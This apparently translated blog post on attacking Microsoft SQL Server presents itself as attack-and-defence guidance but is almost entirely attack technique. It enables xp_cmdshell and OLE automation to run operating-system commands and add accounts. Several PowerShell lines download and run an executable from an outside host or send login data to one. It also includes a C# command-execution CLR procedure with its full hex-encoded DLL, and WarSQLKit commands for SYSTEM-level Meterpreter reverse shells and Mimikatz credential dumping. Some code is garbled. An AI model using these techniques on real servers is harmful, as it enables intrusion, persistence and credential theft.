MSSQL database attack and defense actual combat North

Posted by Skilo on Wed, 02 Mar 2022 01:56:42 +0100

by Tahir


The annual network security construction achievement test is about to begin. In the most critical battle of the actual attack and defense drill of network security, office application system, Web middleware and database are the main attack objects of the attacker. Due to the largest use, the database often becomes one of the preferred targets of the attacker.

Take Microsoft SQL server as an example. In addition to the common SQL injection vulnerabilities, the attacker will also use some "surprise" moves to turn the original advantages of SQL server into a breakthrough for the attack. For example, under the corresponding permissions, the attacker can use the powerful stored procedures of SQL server to execute different advanced functions by increasing SQL Server database users and maintaining permissions, To attack the user database system, the "uncommon" database attack methods of the attacker and the Countermeasures of the defender will be described in detail below.

SQL Server overview

SQL Server is a relational database management system (RDBMS) developed by Microsoft. It is one of the most popular DBMS in the market. SQL Server has a wide range of uses. It can be used in all aspects, from storing the content of personal blog to storing customer data.

Prior to 2017, SQL Server was only available for Windows. One of the biggest changes in SQL Server 2017 is that it is now available on Linux and Docker containers. This means that you can run SQL Server on a Mac.

Available versions of SQL Server

Enterprise EditionThis version runs only on the Windows Server operating system. Suitable for large production database servers with high priority for speed and availability. It provides functions such as replication and online analytical process (OLAP) services, which may increase its security risk.
Standard EditionThis version is similar to Enterprise Edition, but lacks virtual interface system local area network (VI SAN) support and some advanced OLAP features.
Personal EditionIt is intended for workstations and laptops, not servers. It is designed to support up to five database users.
Developer EditionFor developers, it has similar functions to Enterprise Edition, but it does not mean that it can run in a real production environment.

Client / server database system

SQL Server is a client / server database management system (DBMS). This allows many different clients to connect to SQL Server at the same time. Each of these clients can be connected through different tools.

For example, one client may use graphical tools such as SQL Server Management Studio (SSMS), while another client may use command-line tools such as sqlcmd. At the same time, websites can also connect to SQL server from Web applications. And many other clients may use their own tools to connect for their own purposes.

The main advantage of client / Server DBMS is that multiple users can access it at the same time, and each user has a specific access level. If the database administrator configures the corresponding permissions, any client connected to SQL Server will only be able to access the database they are allowed to access. They can only perform the tasks allowed. All these are controlled from within the SQL Server itself.

SQL Server is a set of Windows services running on the operating system in the context of a service account. Each time you install an instance of SQL Server, a set of Windows services with unique names are actually installed. Existing SQL Server account type:

  • Windows account.

  • SQL server login (SQL Server Internal).

  • Database user (SQL Server Internal).

The Windows account and SQL Server login are used to log in to SQL Server. Unless you are a system administrator, you must map a SQL Server login to a database user to access data. Database users are created separately at the database level.

The common roles of SQL Server are:

TDS protocol

Tabular data stream (TDS) protocol is an application layer protocol for the interaction between database server and client. It is adopted by Microsoft SQL Server database and Sybase database products.

TDS VersionSupported Products
4.2Sybase SQL Server < 10 and Microsoft SQL Server 6.5
5.0Sybase SQL Server >= 10
7.0Microsoft SQL Server 7.0
7.1Microsoft SQL Server 2000
7.2Microsoft SQL Server 2005

For detailed protocol structure analysis, please refer to:

Note that these "breakthroughs" may be used by the attacker

The following is a brief introduction to the utilization of some common attack surfaces of SQL Server.

SQL Server dangerous stored procedures


Query XP_ Does the cmdshell stored procedure exist

Xtype is the object type, and xtype='x ', indicating that the object type of the stored procedure is an extended stored procedure.

select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'


TSQL code determines whether XP is enabled_ cmdshell

declare @RunningOnACluster char(1)
declare @xp_cmdshell_available char(1)
declare @result int 
set @xp_cmdshell_available='Y' 
set @result=0
select @RunningOnACluster=case 
when convert(int, serverproperty('IsClustered')) = 1 then 'Y'
else 'N' 
if(0=(select value_in_use from sys.configurations where name='xp_cmdshell'))
    set @xp_cmdshell_available='N' if @RunningOnACluster='Y' 
    if @xp_cmdshell_available='Y'
        select @result=1
    if @xp_cmdshell_available='N'
        select @result=2
select @result


Restore xp_cmdshell stored procedure

Resolve Error Message: could not find stored procedure 'Master xp_ cmdshell’.

The first step is to delete:

drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

Step 2 restore:

dbcc addextendedproc("sp_oacreate","odsole70.dll")
dbcc addextendedproc("xp_cmdshell"," ")


Direct recovery, regardless of SP_ Whether addextendedproc exists or not, you need to upload xplog70 by yourself DLL, recover extended stored procedure xp_cmdshell statement:

dbcc addextendedproc("xp_cmdshell","xplog70.dll")

The code determines whether a series of stored procedures exist. If they do not exist, they will be restored.

if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]'))
dbcc addextendedproc ('xp_cmdshell','xplog70.dll')
if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_dirtree]'))
dbcc addextendedproc ('xp_dirtree','xpstar.dll')
if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_fixeddrives]'))
dbcc addextendedproc ('xp_fixeddrives','xpstar.dll')
if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_regwrite]'))
dbcc addextendedproc ('xp_regwrite','xpstar.dll')
if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_regread]'))
dbcc addextendedproc ('xp_regread','xpstar.dll')


Open xp_cmdshell stored procedure

EXEC sp_configure 'show advanced options', 1; RECONFIGURE; exec SP_CONFIGURE 'xp_cmdshell', 1; RECONFIGURE;


Close xp_cmdshell stored procedure

Close xp_cmdshell configuration

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;


Delete xp_cmdshell statement:

exec sp_dropextendedproc 'xp_cmdshell';

Delete xp_cmdshell procedure, and then add XP_ For the cmdshell process, you need to upload xplog70 Recover deleted XP DLL_ cmdshell.

drop procedure xp_cmdshell;
exec sp_addextendedproc "xp_cmdshell", "xplog70.dll";


exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
exec sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
exec sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
exec sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

xp_cmdshell executes system commands

xp_cmdshell executes whoami command

exec master.dbo.xp_cmdshell 'whoami'
exec master.dbo.xp_cmdshell "whoami"
exec xp_cmdshell "whoami";


xp_ The cmdshell executes the ipconfig/all command

exec master..xp_cmdshell 'ipconfig/all'


Query operating system and version information (corresponding to Chinese and English systems respectively)

exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"'
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS name" /C:"OS edition"'


Through xp_cmdshell executes wmic to obtain system information

exec master..xp_cmdshell 'wmic cpu get name,NumberOfCores,NumberOfLogicalProcessors/Format:List'


Call reg query registry key to determine the port number of RDP service

exec master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber'


Through xp_cmdshell execution adds testuser1 user and does not output results

exec master..xp_cmdshell 'Net user testuser1 passwd1 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add',NO_OUTPUT


Through XP_ The cmdshell deletes the testuser1 user and does not output results

EXEC master..xp_cmdshell 'net user testuser1/delete', NO_OUTPUT



Through xp_cmdshell executes taskkill to kill taskmgr exe,taskmgr.exe for task manager. It displays the processes running in the system. The program uses Ctrl+Alt+Del (usually pop up Windows security and click "task manager") or Ctrl+Shift+Esc to open. This is not a pure system program, but if it is terminated, it may lead to unknown problems.

exec master.dbo.xp_cmdshell 'taskkill /f /im taskmgr.exe';

Call XP_ The cmdshell executes the mkdir command to create a directory

exec master..xp_cmdshell 'mkdir "C:\test\" '


Through xp_cmdshell executes dir command

exec master..xp_cmdshell 'dir c:\'
exec xp_cmdshell 'dir c:\'


Through xp_cmdshell delete file

exec master..xp_cmdshell 'del C:\test';

xp_cmdshell calls Powershell

Through xp_cmdshell calls powershell Download

exec xp_cmdshell 'powershell -c "iex((new-object Net.WebClient).DownloadString(''''))"'


Call XP_ The cmdshell executes echo CreateObject and finally writes C: / programdata / vget VBS file

exec master..xp_cmdshell 'echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 > C:/ProgramData/vget.vbs';


Through XP_ The cmdshell calls CMD Exe executes powershell and calls OpenRead method to send login user name and sa password to the database

exec xp_cmdshell 'powershell (new-object System.Net.WebClient).OpenRead(''http://example/test.jsp?data='')'


Through xp_cmdshell calls powershell to download Test0 Exe and execute

exec master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell  -ExecutionPolicy Bypass  %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'


SQL Server has a series of stored procedures, which can add, delete, modify and query the registry. xp_regread,xp_regwrite,xp_regdeletvalue,xp_regdeletkey,xp_regaddmultistring, etc.

Read registry

exec xp_regread 'HKEY_current_user','Control Panel\International','sCountry'
exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'


Enumerate available registry keys

exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'



Judge whether the file exists. The first column returns 0 to indicate that the file does not exist, and 1 to indicate that the file exists. When the command without echo is executed, the result is generally input into the file. This stored procedure can be used to judge whether the command without echo is executed successfully.

Does the interpretation file exist

exec xp_fileexist 'C:\\test\test.txt'


List current directory

exec xp_subdirs "C:\\"



Get server name

exec xp_getnetname



Get server information

exec xp_msver



Get disk space information

exec xp_fixeddrives

With some common dangerous stored procedures, you can check the function and usage of stored procedures.


SQL Server triggers

SQL Server triggers are used to execute sql statements after executing specified actions, such as triggering sql statements with update.

First, create a test table and insert field values.


Create a trigger named test1. When the test table executes the update action, trigger test1 to execute xp_cmdshell command.

create trigger [test1]
on [test]
    execute master..xp_cmdshell 'cmd.exe /c calc.exe'

Perform the following operations to update the test table, and the test1 trigger is triggered.

UPDATE test SET name = 'wangwu' WHERE LastName = 'zhangsan'


SQL Server COM components

COM component SP in SQL Server_ Oacreate executes system commands, but this utilization method has no echo.


View SP_OACREATE status.

select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

Use count to determine whether it exists or not (*).

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'


Using sp_configure stored procedure, enabling SP_OACREATE

exec sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;   
exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;

Utilize SP_OACREATE execute command

Utilize SP_OACREATE executes system commands

declare @shell int exec sp_oacreate '',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami /all >C:\\test\test.txt'

SQL Server CLR related utilization

CLR Microsoft officially calls it the common language runtime. Since SQL Server 2005 (9.x), SQL server has integrated for Microsoft Windows NET Framework. This means that you can now use any NET Framework language (including Microsoft Visual Basic. Net and Microsoft Visual C#) to write stored procedures, triggers, user-defined types, user-defined functions, user-defined aggregates and streaming table valued functions.

Official link:

When using MSSQL service to implement command execution, the common practice is to use XP_ The cmdshell stored procedure runs operating system commands in the context of the MSSQL process. If you want to use this technology to run custom code, you usually need to use LOLBINS, add new operating system users, or write binary files to disk through BCP. The disadvantage of these methods is easy to be found. CLR mode can use hexadecimal file stream mode to import DLL files, so there is no need for file landing.

Create CLR

Using VS to create MSSQL database project

Modify target platform and check create script

Running from MSSQL is introduced in SQL Server 2005 Net code, and many protective measures are superimposed in subsequent versions to limit the content that the code can access. Create in Net assemblies, they are assigned a permission level, for example:

FROM 'C:\MyDBApp\SQLCLRTest.dll'  

Its permission set has three options:

SAFE: basically, only MSSQL datasets are exposed to code, and most other operations are prohibited.

EXTERNAL_ACCESS: allows access to some resources on the underlying server, but should not allow direct code execution.

UNSAFE: any code is allowed.

Microsoft's detailed documentation on SQL CLR can be obtained at the following address:

Modify the target framework and permission level to UNSAFE.

Create SQL CLR C# stored procedure


Write code

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
    public static void ExecCommand (string cmd)
        // Place code here
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
    public static string RunCommand(string filename,string arguments)
        var process = new Process();
        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
            process.StartInfo.Arguments = arguments;
        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
            stdError = process.StandardError.ReadToEnd();
        catch (Exception e)
        if (process.ExitCode == 0)
            var message = new StringBuilder();
            if (!string.IsNullOrEmpty(stdError))
            if (stdOutput.Length != 0)
                message.AppendLine("Std output:");
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        return stdOutput.ToString();

Compile and generate DLL files.

To run code with permission level of "SAFE", just enable CLR; However, to run code with permission level of "EXTERNAL_ACCESS" or "UNSAFE", you need to modify the corresponding configuration and DBA permissions. For the server versions before and after 2017, the steps required to run the CLR marked "UNSAFE" are different, which are described below:

For versions prior to SQL Server 2017

Show advanced options:

sp_configure 'show advanced options',1;RECONFIGURE

Enable CLR:

sp_configure 'clr enabled',1;RECONFIGURE;

Store the Net assembly's database is configured to be trusted.


SQL Server 2017 and later

For SQL Server 2017 and later, strict security is introduced and must also be disabled. Alternatively, you can grant UNSAFE permissions to a single assembly based on the provided SHA512 hash value, rather than marking the entire database as trusted. For SQL Server 2017 and above, see the following:

Show advanced options:

sp_configure 'show advanced options',1;RECONFIGURE

Enable CLR:

sp_configure 'clr enabled',1;RECONFIGURE;

Add the SHA512 hash value of an assembly to the list of trusted assemblies:

sp_add_trusted_assembly @hash= <SHA512 of DLL>;

From now on, the creation and invocation of assemblies are the same for any version of SQL Server.

Create an assembly from a hexadecimal string - if you can create an assembly from a hexadecimal string, it means you don't need to create a binary file and write it to a location accessible to the SQL server process:


Create a stored procedure to run code from an assembly:

CREATE PROCEDURE debugrun AS EXTERNAL NAME clrassem.StoredProcedures.runner;

Run the stored procedure:


After the code runs, you can delete stored procedures, assemblies, and trusted hash values, and restore the previously modified security settings to their original values. An example of an SQL query that completes this task is shown below

For SQL Server 2017 and later:

sp_drop_trusted_assembly @hash=<SHA512 of DLL>

For versions prior to SQL Server 2017:


For all versions:

sp_configure 'clr strict security',1;RECONFIGURE
sp_configure 'show advanced options',0;RECONFIGURE

Importing assemblies with SQL statements

Now you can use hexadecimal file stream to import DLL files, so you don't need to file landing.


    CREATE ASSEMBLY [Database1]
    FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006E587C5E0000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402400006002102400006003100E401000000003700000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000002700000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F300044617461626173653100496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468004461746162617365312E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000593C457501949B4EAC85A8875A6084DC000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006E587C5E00000000020000001C010000E42A0000E40C000052534453CEC8B2762812304EAEE7EF5EE4D9EC7901000000463A5C746F6F6C735F736F757263655C4461746162617365315C4461746162617365315C6F626A5C44656275675C4461746162617365312E706462000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000004400610074006100620061007300650031002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004400610074006100620061007300650031002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000


Create stored procedure

CREATE PROCEDURE [dbo].[ExecCommand]
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]

Execute commands using CLR

exec dbo.ExecCommand "whoami /all";


WarSQLKit is a tool for using MSSQL CLR. It has the following two versions.

  • WarSQLKit is a full version with built-in functions.

  • Warsqlkitminimum is a simplified version that can only execute commands.

Import WarSQLKit DLL file

Using hexadecimal file stream to import warsqlkit DLL file.

    FROM 0x4D5A......

Create stored procedure

@Command [nvarchar](max)
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec

WarSQLKit execute command

WarSQLKit CmdExec implements the following functions

Execute any Windows command

EXEC sp_cmdExec 'whoami';

Execute Windows commands with SYSTEM privileges

EXEC sp_cmdExec 'whoami /RunSystemPriv';

Run PowerShell commands with SYSTEM privileges

EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS';


Generate X86 Meterpreter reverse connect shell running with SYSTEM privileges

EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';

Generate X64 Meterpreter reverse connect shell running with SYSTEM privileges

EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';

Generate X64 Meterpreter RC4 reverse connection shell running with SYSTEM privileges

EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'

Generate x86 meterpreter running with SYSTEM privileges_ bind_ tcp shell

EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem';

A reverse process is created each time a Meterpreter rebound is used

Run the Mimikatz function to grab the password

exec sp_cmdExec 'sp_Mimikatz';
select * from WarSQLKitTemp //Get Mimikatz log

File download

EXEC sp_cmdExec 'sp_downloadFile C:\test\Invoke--Shellcode.ps1 300';
EXEC sp_cmdExec 'sp_downloadFile C:\test\Invoke--Shellcode.ps1 300';

Get MSSQL Hash

EXEC sp_cmdExec 'sp_getSqlHash';

Get Windows Product

EXEC sp_cmdExec 'sp_getProduct';

Get available databases

EXEC sp_cmdExec 'sp_getDatabases';

Utilization of SQL Server R and Python

SQL Server 2017 adds Microsoft machine learning service, which allows you to use SP in SQL server_ execute_ external_ Script executes Python and R scripts

Utilization conditions:

  • Machine Learning Services must be selected during Python installation

  • External scripting must be enabled

    EXEC sp_configure 'external scripts enabled', 1
    • Restart the database server

  • The user has permission to execute any external script

R script utilization

Execute commands with R:

sp_configure 'external scripts enabled'
EXEC sp_execute_external_script
@script=N'OutputDataSet <- data.frame(system("cmd.exe
/c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));

Grab net NTLM hash using R:


Python script utilization

Python :

exec sp_execute_external_script 
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))

Execute command:

exec sp_execute_external_script 
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(, "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

SQL Server agent performs scheduled tasks

SQL Server agent is a Microsoft Windows service that performs scheduled administrative tasks.

Start the SQL Server agent service first.


Perform planned tasks.

USE msdb; 
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1'; 
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe /c whoami /all >c:\\123.txt', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; 
EXEC dbo.sp_start_job N'test_powershell_job1';

Analysis of the attacker's actual combat thinking

The third chapter briefly introduces the common write utilization points in SQL Server, and then introduces the application and some ideas of these utilization points in each attack stage.

SQL Server instance discovery

The instance of SQL Server finds that the local instance mainly checks the system service and registry. The remote instance can scan TDS listening service, UDP broadcast, SPN service, etc.

Several common instance discovery tools:

osql -L

sqlcmd -L

import-module .\PowerUPSQL.psd1 //Loading module

Get-SQLInstanceBroadcast  //SQL Server instance discovery

  • SQLPing3

  • Metasploit mssql_ping module

  • Nmap

  • Nessus

  • ......

Local instance discovery

As a local user, it mainly identifies the SQL Server instance by checking the system service and registry settings.

Service system inspection

Check the registry key value to determine the SQL Server instance

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server" /v InstalledInstances

Use PowerUpSQL to identify local instances.

import-module .\PowerUPSQL.psd1 //Loading module
Get-SQLInstanceLocal  //SQL Server instance discovery

Remote instance discovery

Get-SQLInstanceBroadcast -Verbose //UDP broadcast Ping
